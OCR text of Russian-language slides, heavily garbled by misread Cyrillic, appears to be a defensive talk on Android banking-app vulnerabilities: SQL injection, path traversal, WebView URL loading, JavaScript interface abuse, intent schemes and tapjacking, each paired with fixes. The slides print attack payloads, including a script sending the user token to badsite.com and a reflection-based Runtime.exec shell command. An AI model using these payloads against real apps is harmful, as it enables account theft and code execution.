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A HY>XXHa N1 Ham
6e3onacHOCTL?




A HY>XHa N1 Ham 6e30nacHOCTb?

Y 1e6s1 Ha TenedoHe ecTb DaHKOBCKOE
NpuUNoXxeHme

[loTepa noBepus KIMEHTOB

PenyTaunoHHbIe pUCKK
~

FOpnanyeckne npobnemsl
3NOYMbILLUNEHHUK HAaxoanT

YA3BMMOCTb B HEM U B3J1aMbIBa€T
ero

®PurHaHcoBbIe YObITKN

[TlpodreccrnoHanbHaga penyTtauns
~

B utore oH nonyyaet g4OCTyn K TBOUM
GaHKOBCKUM cHeTaM U NepeBoanT AeHbI
cebe



Ya3BUMOCTU VS OKCMOUTDI

AN

Cnaboe MecTO B NpUIIOXEHUN

Unn cucteme 6e3onacHoOCTU,
KOTOPOE MOXET ObITb UCMONb30BAHO
3MOYyMbILLUIEHHNKAMWN NS aTaku

[Tpumepbl:
Ownbkun B KOOE, HEMPABUITbHbIE
HacTpoOWKu 6e3onacHoCTH

KoHKpeTHasa nporpamMmma, Kycok koga
NN TEXHUKA, KOTopas UCnosnb3yeT
YA3BMMOCTbL AN19 BbINOSIHEHUS
BPeAOHOCHbIX 4EUCTBUN
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Nms Hukuta

[lopTdponuno
3NOYyMbILLSTIEHHUKA

YcneluHo B3nomMan xonoaunbHUK cBoen ObIiBLUEN MO M, YTOObI
OnbIT paboTbl A APYTA,
BbISICHUTb, YTO OHa ECT Ha 3aBTpakK

MoCTIKEHUS BcKpbin 3ainTy «3a00M Harnepen» Ha CEKPETHOW KoprniopaTtuBHOW 6a3e AaHHbIX.
Tenepb Kaxabl BTOPHUK Be4epOM nnaHupyto BedepumHkm Ha 500 Yyenosek

Mown nocnegHnn «KMeHT» onMcan MeHd Kak «Jydllero sopa
PekomeHaauumn A y P
OaHHbIX, KOTOPOro A Koraa-nmbo He Bnaen»

Lenu 3aBoeBaTb MUP, OHa YKpadeHHas nHopmaums 3a gpyrou!



[TnaH Huknthl

0
Yassumoctn SQL Path Traversal
=< Start
Ob6paTHbIn cnaLw 3arpyska
B URL npownssonbHOro URL
[ocTyn
JavaScript K MPOW3BOSbHbIM
Interface KOMMOHEHTaM Tapjacking

Finish




[TnaH Huknthl

o

YassmumocTtn SQL
< Start

- e

Finish
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YA3BMMOCTW
SQL




SQL nHbekuus X

[J TMpunoxeHue Bankovich

CoobuweHune ot HuknTbl, aBngaruleecs
SOQL nHbekuymen:




YA3BUMOCTb B KOAe

fun addMessage(
db: SQLiteDatabase,
sender: String,
content: String,

) {
val query = "INSERT INTO messages

(sender, content) VALUES (‘$sender’,

‘$Scontent’)"
db.execSQL(query)

}




YA3BUMOCTb B KOAe

val query = "INSERT INTO messages
(sender, content) VALUES (‘$sender’,
‘$Scontent’)"




YA3BUMOCTb B KOAe

val query = "INSERT INTO messages

(sender, content) VALUES ('$sender’, "Hello!"); INSERT INTO
' content')" messages (sender,
content) VALUES (‘mom’,
'Click here: <a
href=\"http://badsite.com\">
best link</a>"); --"




YA3BUMOCTb B KOAe

val query = "INSERT INTO messages
(sender, content) VALUES (‘$sender’,
‘$Scontent’)"




3alnTHblE Mepb

fun addMessage(
db: SQLiteDatabase,
sender: String,
content: String,

) {
val query = "INSERT INTO messages

(sender, content) VALUES (?, ?)"
val statement = db.compileStatement(query)
statement.bindString(1, sender)
statement.bindString(Z, content)
statement.execute()




3alwmnTHblEe Mepbl

val query = "INSERT INTO messages
(sender, content) VALUES (?, ?)"




3alnTHblE Mepb

val statement = db.compileStatement(query)




3alnTHblE Mepb

Komnunupyet
val statement = db.compileStatement(query) SQL-3anpoc

B MOArOTOBNEHHOE

BblpaXkeHune

C 3anonHurenamu (?)




3alnTHblE Mepb

statement.bindString(1, sender)
statement.bindString(Z, content)
statement.execute()

}




3alnNTHbIE MepbI

cnonb3oBaHne onbnmoTeku
Room no rangam

¢

\,
‘\.\‘
\\
\

cnonb3oBaHue
napamMeTpun3oBaHHbIX 3aNpoCcoB
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[TnaH Huknthl

o

YassmumocTtn SQL
< Start

- e

Finish




[TnaH Huknthl

Path Traversal
< Start

< =

Finish
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Path
Traversal




Path Traversal ) ¢

[J TMpunoxeHue Bankovich

dann ot HUKNTbI C NMEeHeM:




YA3BUMOCTb B KOe

fun saveFile(
fileName: String,
fileData: ByteArray,
) {
val file = File( , fileName)
FileOutputStream(file).use { fos ->
fos.write(fileData)

}
}




YA3BUMOCTb B KOAe

val file = File(




YA3BUMOCTb B KOAe

/data/user/0/

val file = File( com.example.app/files




YA3BUMOCTb B KOAe

fileName: String,

HIEINE[E)




YA3BUMOCTb B KOAe

fileName: String,

.Jlib/arm64-
v8a/libnative-lib.so




YA3BUMOCTb B KOAe

val file = File( , fileName)




YA3BMMOCTb B KoJe

val file = Fi|e( | fiIeName) /data/user/0/

com.example.appf/files/../
lib/arm64-v8a/libnative-
lib.so




YA3BUMOCTb B KOAe

val file = File( , fileName) files/...




YA3BMMOCTb B KoJe

val file = Fi|e( | fiIeName) /data/user/0/

com.example.app/lib/arm
64-v8allibnative-lib.so




YA3BUMOCTb B KOAe

val file = File( , fileName)
FileOutputStream(file).use { fos ->
fos.write(fileData)

}




3alnTHblE Mepb

fun (fleName: String, fileData: ByteArray) {
val baseDir = context?.filesDir
val file = File(baseDir, fleName).canonicalFile

If (baseDir == null ||
Ifile.path. (baseDir.canonicalPath)

)1

throw SecurityException("Access to this file is not allowed")
¥
FileOutputStream(file). { fos ->

fos.write(fileData)

}
}




3alnTHblE Mepb

val baseDir = context?.filesDir




3alnTHblE Mepb

val baseDir = context?.filesDir data/user/O/

com.example.app/files/




3alnTHblE Mepb

val file = File(baseDir, fleName).canonicalFile




3alnTHblE Mepb

: : .. : : Bosspallaer
val file = File(baseDir, fleName).canonicalFile opaanc 26COMOTHLIM
nytem, ybumpas
OTHOCUTETNbHbIE
AfIEMEHTLI NyTN (.. 1 .)




3alnTHblE Mepb

If (baseDir == null ||
Ifile.path. (baseDir.canonicalPath)

)1




3alnTHblE Mepb

If (baseDir == null || Idata/user/0/
Ifile.path. (baseDir.canonicalPath) [iag com.example.app/lib/arm
) { 64-v8allibnative-lib.so




3alnTHblE Mepb

If (baseDir == null ||
Ifile.path. (baseDir.canonicalPath)

)1

throw SecurityException("Access to this file is not allowed")

}




[TnaH Huknthl

Path Traversal
< Start

< =

Finish




[TnaH HuknTbl X

< Start

Finish X




[TnaH Huknthl

< Start

3arpyska
npounssonbHoro URL

Finish
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YazsumocTtun Webview

3arpyska npoussosibHoro URL




3arpy3ka npounasoribHoro URL X

[J TMpunoxeHue Bankovich

CaunT oT HUKUTbI, KOTOPbIN MOMHOCTLIO
MOEeHTUYeH canuty baHka

OnnnunHk 6aHKOBCKOro NPUNOXeHus,
BeaYyOLWMN Ha canT HUKUTDI:




[1eMo ya3BMMOCTI

n-ext-macstyq:androidrm3 ruastyq$ adb shell am start -W -a android.intent.action.VIEW -
d "bankovich://https://www.raiffeisen.ru" com.example.bankovichﬂ

48



YA3BUMOCTb B KOAe

01

deeplink = intent.data

("/webview" == deeplink?.path) {
url = deeplink.getQueryParameter("url")
url?.let { WebView(it) }

{
// other logic




YA3BUMOCTb B KOAe

("/webview" == deeplink?.path) {
url = deeplink.getQueryParameter("url")
url?.let { WebView(it) }




YA3BUMOCTb B KOAe

("/webview" == deeplink?.path) {
url = deeplink.getQueryParameter(‘url") s Het Banugauwmm url
url?.let { WebView(it) }




YA3BUMOCTb B KOAe

(): Map<String, String> {
headers: MutableMap<String, String> = HashMap()
headers["'Authorization"] = getUserToken()
headers

(): String {
"userToken"




YA3BUMOCTb B KOAe

@ Composable
(url: String) {
AndroidView(factory = {
android.webkit.WebView(it).apply {
layoutParams = ViewGroup.LayoutParams(
ViewGroup.LayoutParams.MATCH PARENT,
ViewGroup.LayoutParams.MATCH PARENT

)
}
1}, update = {
it.loadUrl(url, getAuthHeaders())

1)
}




YA3BUMOCTb B KOe

update = {
it.loadUrl(url, getAuthHeaders()) X
}




B0o3MOXHble peLleHns

He pobaBnaTb YyBCTBUTENbHbLIE OJAaHHbIE

[lenatb BannaaLuuo CCbINKu



Kakne BapmaHTbl ABNAKOTCH
oe3onacHbIMU?

(uri: Uri): Boolean {
"app.ru” == uri.

(uri: Uri): Boolean {
"https" == uri. &&
uri. ?. ("app_ru") ==

(uri: Uri): Boolean {
"https" == uri. &&
' ?. ("app.ru”) ==

(uri: Uri): Boolean {
uri.toString(). ("app.ru”)

(uri: Uri): Boolean {
"https" == uri. &&
uri. == "app.ru"




URI — Uniform Resource ldentifier

https:/[app.ru/security



URI — Uniform Resource ldentifier

https:/[app.ru/security
W_J

scheme



URI — Uniform Resource ldentifier

https:/[app.ru/security
W_J H_J

scheme host



URI — Uniform Resource ldentifier

https:/[app.ru/security

scheme host path



1 BapunaHT

private fun (uri: Uri): Boolean {
return "app.ru” == uri.host

}




1 BapunaHT

return "app.ru” == uri.host




1 BApUaHT X

—>  3N0OYMbILUNEHHUK MOXET
return "app.ru" == uri.host MCMNONb30BaTb Pa3Hble CXeMbl
anst obxoaa NpoBEPKU XOCTa:

« file://app.ru/sdcard/data/sup
ersecure/exploit.ntml

e content://app.ru/shared-
prefs.xml

e javascript://app.ru/%0alert(1)

63



YassumocTu pasnnyHbix cxem URI B Android X

JavaScript-cxema Content-cxema File-cxema
YA3BUMOCTD. YA3BUMOCTD. YA3BUMOCTD:
BbinonHeHne Npou3BONbLHOro 3arnpoc KOHTEHTa OTKpbITHE dhannos
JavaScript-koaa B WebView C YKa3aHHbIMW MONTHOMOYMSAMU B ODLLIEAOCTYMHbIX

KaTanorax
NMpumep: Mpumep:
javascript://app.ru/%0alert(1) content://app.ru/shared- NMpumep:
prefs.xml file://app.ru/sdcard/data/sup

ersecure/exploit.ntml

64



2 N 3 BapuaHT

(uri: Uri): Boolean {
‘https" == uri. && uri. ?. ("app.ru”) ==

(uri: Uri): Boolean {
‘https" == uri. && url. ?. ("app.ru”) ==




2 N 3 BapuaHT

‘https" == uri. ?. ("app.ru”) ==

‘https"” == uri. ?. ("app.ru") ==

https://verybadurlapp.ru/@app.ru
- ~— — -

scheme host path




5 BapuaHT

(uri: Uri): Boolean {
uri.toString(). ("app.ru")




3alnTHblE Mepb

(uri: Uri): Boolean {
"https" == uri. && uril. == "app.ru”




3alnTHblE Mepb

"https" == uril.




B0o3MOXHble peLleHns

He pobaBnaTb YyBCTBUTENbHbLIE OJAaHHbIE

[lenatb BannaaLuuo CCbINKu

Mcnonb3oBaTtb SSL pinning

TonbkO COBMECTHO C Banuaauuen CCbInku

70



SSL pinning

MeToa nNpuBA3KU NPUIOXKEHNS K KOHKpEeTHOMY SSL-cepTudomnkary
nnun nyonu4HoMmy Kritody cepeepa

[lpeooTBpallaeT atakm man-in-the-middle
(MITM)

Android 7.0 (API 24) v Bblwe
ncrnosnb3oBaHne network security _config.xml

Android 6.0 (API 23) n Huxe
ncnonb3oBaHnUe bMbnuoTek, Takmx kak OkHttp

71



3alnTHblE Mepb

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="false">
<domain includeSubdomains="true">bankovich.com</domain>
<pin-set expiration="2024-12-31">
<pin digest="SHA-256">certificate=</pin>
</pin-set>
</domain-config>
</network-security-config>




3alnTHblE Mepb

<domain includeSubdomains="true">bankovich.com</domain>
<pin-set expiration="2024-12-31">

<pin digest="SHA-256">certificate=</pin>
</pin-set>




[TnaH Huknthl

< Start

3arpyska
npounssonbHoro URL

Finish

74



[TnaH Huknthl

< Start

ObpaTHbIK cnaL
B URL

Finish
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YazsumocTtun Webview

ObpatHbIn cnaw B URL




O6paTtHbin cnaw B URL X

[MpunoxeHune Bankovich
Ha Android sepcuun API 24

CaunT oT HUKUTbI, KOTOPbIN MOMHOCTLIO
MOEeHTUYeH canuty baHka

OnnnunHk 6aHKOBCKOro NPUNOXeHus,
BeaYyOLWMN Ha canT HUKUTDI:




eMO YA3BMMOCTMU

Devices

Discover USB devices [ Port forwarding... ]

Discover network targets

Open dedicated DevTools for Node

Remote Target

Android SDK built for arm64 scu

WaitTime: 43
Complete

[n-ext-macstyq:androidrm3 ruastyq$ adb shell am start -W -a android.intent.action.VIEW -]
d "bankovich://https://www.google.com" com.example.bankovich
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YA3BUMOCTb B KOAe

(uri: Uri): Boolean {
"https" == uri. && uril. == "pankovich.ru"




YA3BUMOCTb B KOAe

"https" == uri. && uril. == "pankovich.ru"




Ya3BUMOCTb B KOae X

"https" == uril. && uril. == "pankovich.ru"

[Tfpobnema He B Banuaauum, a B Kflacce

3

Ha yctpoucteax c yposHeMm AP| 1-24 (oo Android 7.0 BKIIOYUTESIBHO)
android.net.Uri n java.net.URL napcepbl paboTaroT HEKOPPEKTHO

81



YA3BUMOCTb B KOAe

java.net.URL
android.net.Uri

(url: String): Boolean {
IsValidUri(Uri.parse(url))

(uri: Uri): Boolean {
"https" == url. && uril. == "pankovich.ru"




YA3BUMOCTb B KOAe

java.net.URL
android.net.Uri




YA3BUMOCTb B KOAe

Java.net.URL Knaccbl ¢ yA3BMMOCTbIO

android.net.Uri




3alnTHblE Mepb

java.net.URI

(url: String): Boolean {

{
IsValidUri(URI.create(url))

(exception: Exception) {

(uri: URI): Boolean {
"https" == uri. && uri.

== "pbankovich.ru"




3alnTHblE Mepb

java.net.URI




3alnTHblE Mepb

java.net.URI

(url: String): Boolean {

{
IsValidUri(URI.create(url))

(exception: Exception) {




3alnUTHbIE MEpPbI

YcTaHOBKa 3Ha4YeHus
minSdkVersion >= 25

ilcnonb3oBaHMe Krnacca
BMECTO

88



[TnaH Huknthl

< Start

ObpaTHbIK cnaL
B URL

Finish

89



[TnaH Huknthl

< Start

JavaScript
Interface

Finish

90
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YazsumocTtun Webview

JavaScript Interface




JavaScript Interface X

[J TMpunoxeHue Bankovich

CaunT oT HUKUTbI, KOTOPbIN MOMHOCTLIO
MOEeHTUYeH canuty baHka

OnnnunHk 6aHKOBCKOro NPUNOXeHus,
BeayLMX Ha canT HUKUTLI:




[lemMo ya3BMMOCTH

YMesi co3gaBaTtb CauTUKU,
9 Obl NOKasana aemo
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YA3BUMOCTb B KOe

JavasScriptinterface {

@Javascriptinterface

01

// some logic

}

@Javascriptinterface

01

// someLogic

}
}




YA3BUMOCTb B KOae

@Javascriptinterface

@Javascriptinterface




YA3BMMOCTb B KOae

@Javascriptinterface

@Javascriptinterface

AHHOTaUMA Ncnonb3yeTcs

ANSA SBHOMO pa3peLleHust
BbI30Ba MeTOAa

n3 Javascript 8 WebView

96



YA3BUMOCTb B KOe

@Composable
(url: String) {
AndroidView(factory = {
WebView(it). {
= ViewGroup.LayoutParams(
ViewGroup.LayoutParams.
ViewGroup.LayoutParams.

)

}

}, update = {
it. : =
it.addJavascriptinterface(JavaScriptinterface::
it.loadUrl(url)

})
}

, "JavaScriptinterface")




YA3BUMOCTb B KOe

it.addJavascriptinterface(JavaScriptinterface:: : , "JavaScriptinterface")




JavaScript Interface X

<script type="text/javascript">
location.href = "https://badsite.com/?user_token=" +

JavaScriptinterface.getAuthToken();
</script>
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JavaScript Interface X

location.href = "https://badsite.com/?user_token=" +

JavaScriptinterface.getAuthToken();

N

« WebView aBTomaTnyecku cosgaet JavaScript-oObeKkT ¢ 3agaHHbIM UMEHEM
N MeTogamMmum U3 Java-koga

« 3MOYMbILLUITIEHHUK MOXET, UCMONb3Yys MHTEpPMEenc, NoNy4YnTb TOKEH NONb30BaTeNs

100



3alUTHbIE Mepb X

byabTte yBepeHbl, UTO AOMEH He nepepaBaunte
ABnseTcs 6e3onacHbIM YyBCTBUTENbHbIE AaHHbIE

101






JavaScript Interface Runtime

JavaScriptinterface {

@Javascriptinterface

01

// some logic

}

@Javascriptinterface

01

// someLogic

}
}




JavaScript Interface Runtime

JavasScriptinterface {

01

// some logic

01

// somelLogic




JavaScript Interface Runtime

<script>
execute(cmd) {
window.jsinterface.getClass().forName('java.lang.Runtime’)
.getMethod(‘getRuntime’,null).invoke( ).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwnr\" > /mnt/sdcard/mwr.txt']);
</script>




JavaScript Interface Runtime

window.jsinterface.getClass()




JavaScript Interface Runtime

forName('java.lang.Runtime’)




JavaScript Interface Runtime

.getMethod(‘getRuntime’,null).invoke(




JavaScript Interface Runtime

.exec(cmd);




JavaScript Interface Runtime X

window.jsinterface.getClass().forName('java.lang.Runtime’)

.getMethod('getRuntime’,null).invoke( ).exec(cmd);

BO3MOXHble aTaku PeweHue
e BbinornHeHne komaHg HaunHas ¢ Android 4.2 (yposeHb API 17),
. MaHI/II'IyJ'IFlLI,I/II/I C CbaﬁﬂaMM a4 ©esonacHocTu KOAa JavaScript

B WebView goCTynHbl TONbKO METOAb,
SIBHO NOMEYEHHble aHHOTaLuen
@Javascriptinterface

* YnpasreHune npoLeccamu
« CeTeBble onepaunn

110



[TnaH Huknthl

< Start

JavaScript
Interface

Finish




[TnaH HuknTbl X

< Start

o [Hoctyn

2~

K MPOU3BOJIbHbIM
KOMMNOHEHTaM

Finish X

112
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YazsumocTtun Webview

,D,OCTYI'I K MPON3BOJIbHbIM KOMIMOHEHTAM




|EI,OCTyI'I K Npon3BOJibHbIM KOMIMNOHEHTAM

L] MNpunoxenne Bankovich

CanT oT HMKuTbI, KOTOPbIN MNOMHOCTLIO
NOeHTNYeH canTy baHka

OnnnnHk 6aHKOBCKOro NpUIioXeHusi, BeayLnm
Ha cauT HUKUTLI:

Intent BeayLLNIA HA HESCKMOPTUPYEMYIO aKTUBHOCTb




[MpeobpasoBaHue Intent B Uri

(): String {
Intent = Intent(Intent.
= Uri.parse("https://app.ru”)

Intent.toUri(Intent.




[MpeobpasoBaHue Intent B Uri

Intent = Intent(Intent.
= Uri.parse("https://app.ru”)




[MpeobpasoBaHue Intent B Uri

Intent.toUri(Intent.




[Ipeobpas3oBaHue Intent B Url X

Intent.toUri(Intent.

3

Intent://app.ru/?scheme=https&package=com.app.package



[TpeobpasoBaHue Uri B Intent X

Intent:
HOST/URI-path // Optional host
#Intent;

(uriString: String): Intent { package=\[string\];

Intent.parseUri(uriString, action=\[string\];

Intent. ) category=\[string\];
component=\[string\];
scheme=\[string\];
end,;

119



YA3BUMOCTb B KOAe

update = {
It. : WebViewClient() {
(
view: WebView?,
request. WebResourceRequest?
): Boolean {
uri = request?.
(uri?. == "Intent") {
startActivity(Intent.parseUri(uri.toString(),
Intent. ),

.shouldOverrideUrILoading(view,
request)

}
}
it.loadUrl(url)
}



YA3BUMOCTb B KOAe

view: WebView?,
request. WebResourceRequest?
): Boolean {




YA3BUMOCTb B KOAe

view: WebView?,
request. WebResourceRequest?
): Boolean {

OTOT METO[ Bbl3blBaeTCS

npu Kaxkgon nonbitke WebView
3arpy3uTb HOBYIO CCbINKYy

N npegnocraBndeT BO3MOXHOCTb
NPUNOXEHUIO rnepexsaTbiBaTb

N U3MEHATL NMOBeAEHME 3arpy3Ku




YA3BUMOCTb B KOAe

uri = request?.
(uri?. == "Intent") {
startActivity(Intent.parseUri(uri.toString(),
Intent. ),

.shouldOverrideUrILoading(view,
request)




YA3BUMOCTb B KOAe

startActivity(Intent.parseUri(uri.toString(),
Intent. ),




3alnUTHbIE MEpPbI

BmMmecTo ncnosnb3oBaHUS
Intent.parseUri() cneayert
OTAaBaTb NpeanoyvTeHne
KflaccuM4yeckomy noagxony,
yepes3 co3gaHue Intent u
nepenayvyen KOMMNoHeHTa ans
OTKPbITUSA

[lpexae 4em BbiI3bIiBaTh
Intent.parseuri(), Heobxoanmo
TwaTenbHO PUNLTPOBaTbL
URL-appeca u intent-cxemsbl.

OTO BKIIHOYAET NPOBEPKY CXEMBbI
(intent:// nnn gpyrux onacHbIX
CXEM), COOAEPXKNUMOIo N NapamMeTpoB,
nepenaHHbIx Yepes URI

v
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[TnaH HuknTbl X

< Start

o [Hoctyn

2~

K MPOU3BOJIbHbIM
KOMMNOHEHTaM

Finish X
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[TnaH Huknthl

< Start

Tapjacking
Finish

< ==




x DGTL

Tapjacking




Tapjacking X
L] MNpunoxenne Bankovich

[TpunoxxeHne oT HUKUTLI, 3anycKatoLliee
B cepBuce npuroxeHune dbaHka
N NCMOSb3yloLlee HanoXeHne OKOH




© 228 2 A

N %
[1eMo ya3BMMOCTI (¢ nosspsmrmtromnne. @

Cepeucbl Google Play

[1lpoBepbLTE CBOE NMpUnoXxeHue | % poveneio
Ha Tapjacking | Tencoon ‘

PaspeweHo

. Lindpoeoe 6narononyyue

o

PaspeweHo

l A Android Auto

PaspeweHo

Google k‘

PaapeweHo

Q

A Google doTo

PaspeuweHo

m TapjackingDemo
W  3anpeweHo

YouTube
PazpeweHo

@ YouTube Music
PazpeweHo
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3alnTHbIe Mepbl B XML

MakeT aKCnopTUpoBaHHOM aKTUBHOCTH

1d="@+id/rootView"

layout_width="match parent"
layout_height="match parent"
filterTouchesWhenObscured="true"




3alnTHbIe Mepbl B XML

MakeT aKCnopTUpoBaHHOM aKTUBHOCTH

YKasbIBaerT, crieqyet nm

-filterTouchesWhenObscured="true" counsTpoBaTh
NPUKOCHOBEHNA, Koraa
OKHO rnpeacrtasJieHnd
3adKpbITO Apyrmm sBnanMbim
OKHOM




3alnTHbIe Mepbl B XML

MakeT aKCnopTUpoBaHHOM aKTUBHOCTH

fiterTouchesWhenObscured="true"




3alnTHble Mmepbl B Compose

dann aKcrnopTUpoBaHHOW aKTUBHOCTU

{
BankovichApp()

composeView = .current
DisposableEffect(Unit) {

composeView.
onDispose {
composeView.




3alnTHble Mmepbl B Compose

dann aKcrnopTUpoBaHHOW aKTUBHOCTU

composeView.
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Checklist

Sql nHbekumn

MCNOMNb30BaHME NapaMeTPU30BaHHbIX 3anpoCcoB
nnn onbnmnotekn Room no ramgam

Path Traversal
KaHOHU3aUmMsa NyTn Unu ero Banuaaums

3arpyska npounsBosibHoun ccbinkm B WebView
Banuaaumsa uri no xocTy, cxeme u ssl pinning

ObpatHbIn cnaw B WebView

minSdkVersion >= 25 unun ncnone3oBaHue java.net.URI
BMeCTO andretd-retUr-1n fava-retURE

O O 0 O 4
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Checklist

JavasScript Interface B WebView
He nepeaaBanTe YyBCTBUTENbHbIE JAHHbIE

O

[locTyn K npon3sBosnibHbIM KOMMoHeHTam B WebView
Banugauus Intent nndo ncnosb3oBaHMe Kraccmyeckoro nogxoaa

O

Tapjacking

NCMOSIb30BaHME B 3KCNOPTUPOBAHHOW aKTUBUTU
fiterTouchesWhenObscured="true"
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[ang No ya3BUMOCTAM
oT Google
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